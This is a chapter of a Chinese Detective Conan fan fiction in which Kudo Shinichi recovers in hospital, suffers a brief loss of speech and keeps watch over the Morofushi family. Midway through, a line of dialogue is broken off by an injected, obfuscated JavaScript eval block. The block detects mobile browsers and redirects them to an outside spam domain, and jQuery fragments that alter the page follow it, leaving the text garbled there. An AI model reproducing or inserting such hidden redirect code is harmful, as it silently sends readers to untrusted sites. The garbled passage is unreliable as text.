5. 涸鲋

作品:《工藤新一在努力了

    一晚上的兵荒马乱,最后终于有了除犯罪分子外都皆大欢喜的结局。


    警方顺着土路到达了那间破旧的小木屋,在里面找到了两个浑身酒气但已经醒来、努力想挣脱手脚束缚的人贩子。


    他们毫无悬念地被捉拿归案,没审几下就供出了所有作案细节和买家信息,由此还扯出了一整条人口贩卖暗线——当然,这是后话。


    医院走廊的灯管嗡嗡作响,消毒水气味像一层半透明的膜,把嘈杂关在门外。


    病房里,诸伏景光陷在雪白被褥间,额前的退热贴已经换到第三片。高烧使他整夜在昏沉与清醒间沉浮,偶尔发出细碎的呓语,像迷失的小猫在梦里寻找归巢的路。直到晨光透过百叶窗,将一道道浅金色栅栏投在他瘦削的侧脸,体温才终于缓慢地、安静地落回正常刻度。


    隔壁床,工藤新一睡得极沉。


    输液针固定在他青白的手背,碘酒与血渍早已被护士擦净;膝盖与手肘的擦伤涂了厚厚一层药膏,纱布边缘微微卷起。他侧身蜷成小小一团,睫毛在面颊投下半月形阴影,呼吸均匀得像一条平缓的潮汐线。


    医生来换过两次药,抽血、拍片、清创……所有动作都轻得像掠过水面的风,而他一次都未睁眼。仿佛要把整整一夜透支殆尽的体力,连本带利地讨回来。


    “诸伏景光君和工藤新一君的家长在吗?”护士小姐问。


    现在是事件结束后的第二日上午,两个孩子都还没睡醒。诸伏夫妇守了他们一整夜,刚睡下两个小时就又被叫醒。诸伏英拓先起身,让妻子继续休息。然后把病房门轻轻关好,披着一件深色大衣走向那位护士小姐。


    他的眼睛是标准的凤眼——正如他遗传给长子高明的那样。此时这双凤眼里满是血丝,却仍然目光和缓地看向护士小姐。


    护士见惯了这种场面,看到诸伏英拓有点邋遢的样子并不奇怪。她拿出几份检查报告,放在桌面上:“这些是两个孩子昨晚的检查结果。”


    “景光君没什么外伤,发烧也只是受惊导致的,没有细菌或病毒感染的迹象,也没有肺炎等并发症。我记得他今早退烧了吧?那基本就没事了,再观察一天就可以出院了。”


    “至于新一君,他身上伤口比较多,但都是皮外伤,也没有发炎的迹象。腹部有淤青,但没造成内出血,没有大碍。”她快速地说着,“但是全身检查的时候,有几处旧伤需要跟您说明一下。”


    “旧伤?”诸伏英拓本来还舒了一口气,“什么旧伤?”


    “您不知道?”


    诸伏英拓叹了口气,委婉地说:“实话实说,女士,新一君并不是我的孩子,他……他的监护权在民/政/机/关那里。以及,他现在还失忆了的样子。”


    护士小姐愣了愣:“这……”


    “不过今后那孩子我们家会照顾,所以有什么问题还请您跟我细说。”诸伏英拓认真地说。


    护士沉吟片刻,还是继续往下说了:“新一君腹部左侧、左上臂等处曾经受过枪伤,身上也有多处割伤和烧伤的痕迹,但愈合得都很好。我们也并没有查出他有营养不良或者其他病史。只是因为枪伤的原因免疫力有些低下,容易产生上呼吸道感染——啊,就是普通的感冒。”


    枪伤?


    诸伏英拓百思不得其解——九岁的孩子,怎么会受那么多……不平常的伤呢?


    “关于您说的失忆问题,”护士翻了翻病历,“脑部CT并没有拍出他脑部有淤血或者肿块压迫神经,我想失忆的问题应该不是生理性的原因。”


    诸伏英拓点点头,与护士小姐道过谢,拿着检查结果回了病房。


    不是生理性的原因……那就是心理性的?


    病房内,诸伏加奈已经醒了过来,看见丈夫细长的眉皱了起来,有些担心:“英拓?怎么了?”


    诸伏英拓摇摇头,把声音压到最低,像怕惊动空气里漂浮的尘埃:“孩子们都还好吗?”


    “嗯,”诸伏加奈轻轻地说,“景光已经退烧了,新一君还睡着。不过好像做梦了,有点不安的样子。”


    诸伏英拓用手抚摸了下次子的脸颊,然后搬来椅子,跟诸伏加奈一起坐在两张病床之间。他目光复杂地看着被子里蜷曲着身体的工藤新一,深呼吸了一下。


    “加奈,刚刚护士把景光和新一君的检查报告拿给我了,景光和新一都没有什么暗伤之类的,休息两天就好了。”诸伏英拓说,“让我在意的是新一君身上的旧伤。”他把刚刚护士所说的话给妻子重复了一遍。


    诸伏加奈轻轻握住丈夫的手。指尖冰凉,掌心却滚烫。她望向左侧那张床:被子隆起小小一团,工藤新一的脸陷在雪白枕套里,额发被汗水黏成细碎的弯。睫毛偶尔颤动,像在梦里仍背着谁赶路。


    “……新一君失忆之前,到底是经历了什么?那么多伤,心理性的失忆……这……”


    “我知道你也有跟我一样的心思,是不是?”寂静片刻后,诸伏英拓问。


    诸伏加奈眼里满是心疼:“嗯。我确实也动了想收养新一君的心思——但这孩子早熟又善良,我怕他以为我们是想用收养他表示感恩,怕他不接受——但我真的很喜欢这个孩子,我现在恨不得马上就去福利院办手续。”


    诸伏英拓揽过她的肩膀:“这件事不急。新一君很有主意,收养的事还是得他自己同意才行。而且,你刚刚说的那个顾虑未尝没有道理,我们得好好思考自己到底是什么想法——这也是对新一君负责。还有,我们还得考虑高明和景光的意愿呢。”


    诸伏加奈轻轻“嗯”了一声,目光落在熟睡的小新一脸上,忽然发现他好像在说什么梦话。


    “快……”诸伏加奈辨认着工藤新一的口型,结合一点点气音,“对不起……对不起……”


    做噩梦了吗?这孩子……


    按照程序,长野县警需要让诸伏景光和工藤新一在监护人陪同下做笔录。佐佐木警官担心孩子们留下心理阴影,就没有催促,而是派了两名经验丰富的温柔女警先过来医院,看看孩子们的情况。如果有需要,可以担当一下心理医生的职责,帮助两个孩子脱离心理问题;如果情况还好,就直接在医院把笔录做了——左右诸伏夫妇就在医院,而工藤新一目前的监护人空缺还挂在公家这边。


    女警到的时候,工藤新一和诸伏景光已经相继醒来。


    “警官姐姐好。”工藤新一又用上了点撒娇的语气——嘛,谁叫他搞晕那两个犯人的时候用的手段都不太适合被现在的世界知晓呢?他也只能卖个萌撒个娇,试图糊弄过去。


    “你好呀,新一君、景光君。”女警们对这个睿智坚毅的男孩非常有好感,“现在身体难不难受啊?你们昨天的表现真的很棒的哦。”


    “都是新一的功劳。”诸伏景光抢着说,“新一好厉害的!”


    工藤新一内心苦笑:喂喂,不要这样说啊……


    “没有啦,景光太夸张了,其实我当时也是巧合,不知怎么那两个叔叔就都倒下了……”他理直气壮地说着自己都不信的敷衍之辞。


    来来回回把各种借口说了个遍,女警终于完成了她的笔录。临走时,她看着两个玩笑着的孩子,心里直呼奇迹。


    两个孩子似乎都没有留下什么心理阴影,这实在是太难得了。不过,也是件好事嘛。


    午后的阳光被百叶窗切成一道道细长的金线,落在工藤新一雪白的被单上。警察走后,他百无聊赖地翻着报纸,油墨味混着消毒水,在空气里轻轻搅动。忽然,他喉咙一痒,轻轻咳嗽了几声——像猫儿打喷嚏,短促又克制。


    门恰在此时被推开。


    诸伏高明走在最前,外套搭在臂弯,凤眼里的担忧和疲惫被压得很平;大和敢助紧随其后,黝黑的手臂搭在高明肩膀上;最后探头进来的是上原由衣,女孩马尾轻晃,笑容明亮。


    “哥哥!敢助哥!由衣姐姐!”


    诸伏景光从被掳直到现在才见到哥哥,敢助哥和由衣姐更是好久没见,不肖说有些兴奋。他知道上原由衣还没见过新一,就高兴地做了“介绍人”的工作。


    工藤新一笑着看景光,随后看向来人——上原警官……由衣姐也来了啊。


    “你好,工藤君,初次见面,请多指教。”上原由衣率先和他打着招呼。


    工藤新一弯起眼睛,刚想开口: “呃——”


    怎么回事?


    声音卡在喉咙,像被看不见的软木塞堵住。他下意识皱眉,喉结上下滚动,努力几次,却只挤出两声低哑的哼声。男孩的脖颈因用力而泛起一层薄红,像极了被晨曦烤透的樱花。


    他怎么说不出话了?


    工藤新一抬手按了按颈侧——不疼,却干涩发紧;再张嘴,依旧是哑的。


    空气突然安静。


    报纸在指尖滑下一角,墨字糊成一片小小的乌云。


    上原由衣有点无措地看向另两位比自己大六岁的朋友。


    大和敢助则和诸伏高明对视一眼,诸伏高明示意由衣先退开一点,然后自己坐到新一旁边:“新一君?”


    这是什么副作用吗?还是我中毒了?工藤新一指了指自己的喉咙,朝高明哥摇摇头——指尖在颈侧虚划一道,示意“不痛”。随后,他抬眼,目光越过诸伏高明的肩膀,直直落在上原由衣脸上。


    那双湛蓝的眸子盛满歉意与急切。


    他张唇,极慢、极慢地用口型拼出一句无声的道歉: “对不起,我说不出话。”


    ……


    工藤新一一脸生无可恋地被送去做了喉镜,因为不习惯那种异物感,还一直不断地呛咳。


    而邻近的心理诊室,诸伏一家和大和敢助、上原由衣聚在一块儿。心理医生听了他们所说的情况,又仔细观察过工藤新一的状态,也有点摸不着头脑:“综合来看,工藤君的喉咙没有问题,那就是或许有一定的创伤后应激反应。失忆也许是心理原因,这次的失语也有可能是触发了他某种潜意识的应激——之所以说是潜意识,是因为他似乎只有身体上的反应,心理上好像并没有惊恐不安这一类的反应,也许是这种应激情境是在他失忆前发生的,他现在没有记忆,所以只有身体反应。”


    诸伏高明却纠结于他看见的、工藤新一后来看向上原由衣时歉意的表情,于是询问医生。医生想了想:“可能是不知道怎么跟你们解释自己忽然失语了吧?也可能是不想让你们发现。”


    “啊,”诸伏高明点点头,“谢谢医生。”


    不想让我们发现……这孩子是不是早就知道自己有应激症状?


    还有,他看见上原由衣后的反应格外激烈,是由衣触发了他什么“潜意识记忆”吗?


    可是……诸伏高明和大和敢助围着女孩转了好几圈,实在没发现她身上有什么东西有一定暗示性或者代表性。


    那也许就单纯是这种装扮引起的?曾经有什么人跟今天的上原由衣穿得很像?


    诸伏加奈站在病房门口,手里还攥着刚削好的苹果皮,一圈圈垂到地面,像条细瘦的、未完的绳。


    她望着病床上的孩子——


    工藤新一正低头和景光一起写写画画,笔尖在纸上沙沙地走,额发滑落,遮住了那双过分安静的蓝眼睛。阳光打在他露出的手臂上,一道旧疤痕像是被岁月磨钝的银线,闪着冷而细的光。


    诸伏加奈忽然想起护士那句“心理性的失忆”。


    当记忆过于锋利,大脑会替人按下删除键。于是疼痛被剪成碎片,残留下的只有身体的本能——枪口的灼热、刀锋的冰凉、火舌卷过皮肤的焦味,全被锁进肌肉与神经,成为无声的警报器。


    警报一响,喉咙便先失声;


    警报再响,膝盖会先于意识发软;


    警报三响,心跳像失控的鼓,却找不到害怕的源头。


    “这孩子真是愈发惹人心疼啊。”  她在心里轻轻叹息,像怕惊动什么。


    苹果皮终于断了,无声地落在她脚边。诸伏加奈弯腰拾起,指尖沾到一点苹果汁,微凉,却甜。


    工藤新一吃着苹果,直觉阿姨和其他大人、哥哥姐姐想岔了点什么。但是他也不知道这到底是因为什么。


    这一场失语来得毫无征兆——心理原因?拜托,他要是有这种问题早就应该犯了才对,呆在医院里怎么可能会忽然毫无征兆地失语?药物等物理作用也可以排除,喉镜显示他没有任何异常……


    病房里只剩钟表“咔哒、咔哒”地走。他盯着表,秒针马上就要转到“12”。


    距离发现失语后一小时整,他喉咙里忽然滚过一阵温热的气流,像有人悄悄拔掉了那个无形的软木塞。


    “……啊。”极轻的一声,却带着久违的震颤。他眨眨眼,把苹果核扔进垃圾桶,发出一声闷响。


    工藤新一抬手摸了摸颈侧——那里脉搏平稳,没有任何异常。他低头看表,秒针仍在走,仿佛刚才的失声只是被时间偷走的一格空白。


    真奇怪。


    出院后,诸伏家的玄关多了一双小小的拖鞋,浅灰色,鞋面上绣着一只福尔摩斯的经典烟斗。工藤新一每次低头换鞋,都会想起福利院的硬木板床——可那画面只闪过一瞬,就被加奈阿姨温声的“今晚留下来吧”盖了过去。


    理由总是五花八门:


    “伤口还要换药呀,阿姨不放心你。”


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137882|180325||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    景光一个人睡不着,吵着要和新一君说小话呢。”


    “高明哥哥给你买了新出的侦探小说,不看完怎么行?”


    “外头都黑透了,小孩子走夜路危险。留下来吧。”


    半月下来,福利院的登记册上,他的名字后面多了许多外宿标记。诸伏夫妇没把“收养”二字说出口,却用行动把它写进了每天的饭菜、晾衣绳上的小号T恤、浴室里新添的薄荷味儿童牙膏。


    可工藤新一没法心安理得地接受。


    工藤新一心里很清楚,诸伏一家就是想要收养自己。然而,诸伏家的惨案尚未规避,他无论如何也安不下心考虑这种事。


    他对这桩惨案的了解全来自于他老爸以前收集的卷宗。但是由于年代久远,那份卷宗还是当时作为“悬案”的那一份,并没有把后来降谷先生他们五人一起抓住凶手后得到的案件信息加入进去。而降谷先生虽说在决战前夕跟他推心置腹地讲述了那四个人的事,却也没有详细地说过这桩惨案——应该是为了尊重景光先生和高明警部——因此工藤新一能掌握到的信息,只有“夏令营结束的前一天晚上”“凶手是男性、精神状况不佳”“案发时听见了争吵声”“仅剩次子存活”和“高脚杯纹身”。


    日子一天天过去,终于到了诸伏高明出发去夏令营的那天。


    从这天开始,工藤新一就处于一种极高警戒的状态,每天数次排查诸伏家附近的情况,每见到一个陌生人就要神情严肃地探究好一会儿。便利店门口抽烟的陌生男人、送报少年车筐里的反光、隔壁太太新雇的园艺工……每一个都被他盯得后背发毛。


    他把可疑的人影、车牌号、甚至流浪狗吠叫的次数都默背进心里的小本子,却没对任何人提起。只是旁敲侧击地询问诸伏夫妇最近有没有和什么人起过冲突。


    “没有呢——话说新一君最近总是在找什么的样子,是丢了什么东西吗?”诸伏加奈笑着问他。


    工藤新一又不能直接跟她说他在排查可能要杀害你们夫妻的未来凶手,只好笑笑,认真地胡说八道:“因为我最近总是觉得屋子附近有奇怪的气味,所以很好奇。加奈阿姨也要多留心哦,我在书上看到说,有奇怪气味的地方会发生奇怪的事呢。”


    诸伏景光看看小伙伴,猫眼一眨——你明明昨天才和我说是在找你的扣子。


    工藤新一讨好地朝他笑——那不是昨天嘛。


    “阿姨倒是没有闻到呢。嗯……不过好吧,我会注意的,小侦探。”诸伏加奈很显然只把这话当做小孩子的侦探游戏,她一边用台式机打着字,一边笑着看了他们一眼,“新一君以后一定能成为比福尔摩斯还要厉害的大侦探呢。”


    “我哪有……啊不是,我是说我还差得远呢。”


    “景光以后想做什么呢?也要和新一君一起当侦探吗?”


    诸伏景光拄着下巴,小嘴嘟起一点,灰蓝色的圆润眼睛转啊转:“我不知道。”


    “那就慢慢想好了,现在景光只用当妈妈的宝贝就好啦,”诸伏加奈又一次被自己的小儿子萌到,一把搂住了两个团子,“新一君也是,现在都还是阿姨的小宝贝。”


    工藤新一颇不适应地红了脸,心里却想,加奈阿姨这话,怕是直觉他现在想的都不是小孩子该想的事了。


    就跟以前的兰和灰原一样……女人的第六感还真是可怕啊。


    平常的一个下午,暑气把蝉声蒸得发黏。工藤新一和诸伏景光散步回来,工藤新一习惯性地在附近转了转,刚拐过巷口,他的视线就粘在了围栏外的草地上。


    前几日他也察看过这里,那时的草地还没有任何异样。然而现在,几天前还平整得像一张绿毯的那片草地,此刻却多了几处突兀的凹陷。草叶被压折,断面新鲜,渗出淡淡的青草汁。最靠近围栏的地方,一圈草被反复碾成了泥绿相间的圆斑,像有人焦躁地原地踱步。


    工藤新一立刻认真起来——在这种敏感的时间出现这种痕迹……他回屋里拿出尺子,先测量了几个比较清晰的脚印大小,又走到靠近围栏的地方,仔细观察起那些痕迹。


    “长二十六点五厘米,前掌宽十厘米,后跟磨损偏外侧。”


    他低声念出数字,指尖顺着鞋印边缘描摹——尺码、步幅、压痕深浅,都与记忆里警方当年的侧写重合:男性,身高一米七八到一米八二,精神不稳,目的明确。


    工藤新一瞥了一眼手机上的日历——距离上辈子案件的发生日期,还剩下六天。他抬头望一眼二楼亮着灯的窗户——诸伏加奈正在厨房准备晚餐,锅铲碰撞声清脆。


    他深吸一口气,心里把“回福利院”四个字撕得粉碎。


    他决定豁出脸面不要,这六天都在诸伏家赖下了。


    诸伏夫妇当然没什么不愿意的,诸伏加奈一脸理所应当地表示新一君住在家里不是很正常吗?但是先前几天到底只能算借宿,如果要一连住上六七天,工藤新一还是得回福利院知会一声,顺便把自己剩下的那一点行李搬过来。


    晚饭后,暑气未散,蝉鸣在树影里拖长。


    诸伏加奈把厨房灯熄了,顺手把景光的小毛巾塞进他手里:“去帮新一拿东西,别让他一个人搬。”


    工藤新一却早已把背包甩到背上,笑着摇头:“就几样东西,我自己来。”


    福利院离诸伏家两公里,傍晚的街灯刚亮,光晕像融化的黄油。


    大挎包里只有几套换洗衣物、两本旧书、充电器——这时他才惊觉,他的大半家当早就进了诸伏家的门了。


    “景光,你问问阿姨有没有什么要捎回来的?”工藤新一脚下滑着滑板,跟诸伏景光讲着电话。


    自从上次绑架案及后来新一的短暂失语症后,诸伏景光就非常喜欢缠着新一和几个长辈。工藤新一明白这代表景光还是受案子的影响,有点缺乏安全感,所以不动声色地默许了他的行为。只要景光的安全感得到满足,他自然就不会继续这么粘人了。


    “没有,”诸伏景光说,“新一要回来了吗?”


    “已经从院里出来了,很快就能到。”


    “嗯嗯!”


    “景光?”工藤新一透过听筒听见了些嘈杂,“你那边怎么了吗?好像有点吵?”


    “啊,”诸伏景光手里捧着话筒,往门口望了望,“刚刚有人按门铃,爸爸去开门了……但是,好像有争吵声……”


    诸伏加奈也有点担心地往外看,安抚地拍了拍景光:“你们聊,妈妈去看看。”


    “别去!”工藤新一直觉有点不对劲……争吵声,当年案子里倒在门口的男主人和倒在屋内的女主人……


    可是……离那个日子明明还有整整五天!